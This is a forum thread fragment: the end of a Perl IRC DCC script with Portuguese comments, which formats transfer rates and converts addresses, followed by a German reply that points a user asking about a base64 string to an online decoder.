    if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $r_duv = $3; $r_duv++ if $4 >= 5;
       $rate = "$1\.$2"."$r_duv";  
    }
    if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $p_duv = $3; $p_duv++ if $4 >= 5;
       $porcen = "$1\.$2"."$p_duv";  
    }
    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");  
  }


  return(0);
}


# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor) 
sub fixaddr {
    my ($address) = @_;

    chomp $address;     # just in case, sigh.
    if ($address =~ /^\d+$/) {
        return inet_ntoa(pack "N", $address);  
    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
        return $address;
    } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!
        return inet_ntoa(((gethostbyname($address))[4]));
    } else {
        return;
    }
}
Member: erikro
Solution erikro Feb 15, 2019 at 15:13:06 (UTC)
Goto Top
Moin,

Zitat von @lord-icon:
b: kann einer diesen base64 Code entschlüsseln ? bzw. mir sagen, was da versucht wird ?

https://www.base64decode.org/

hth

Erik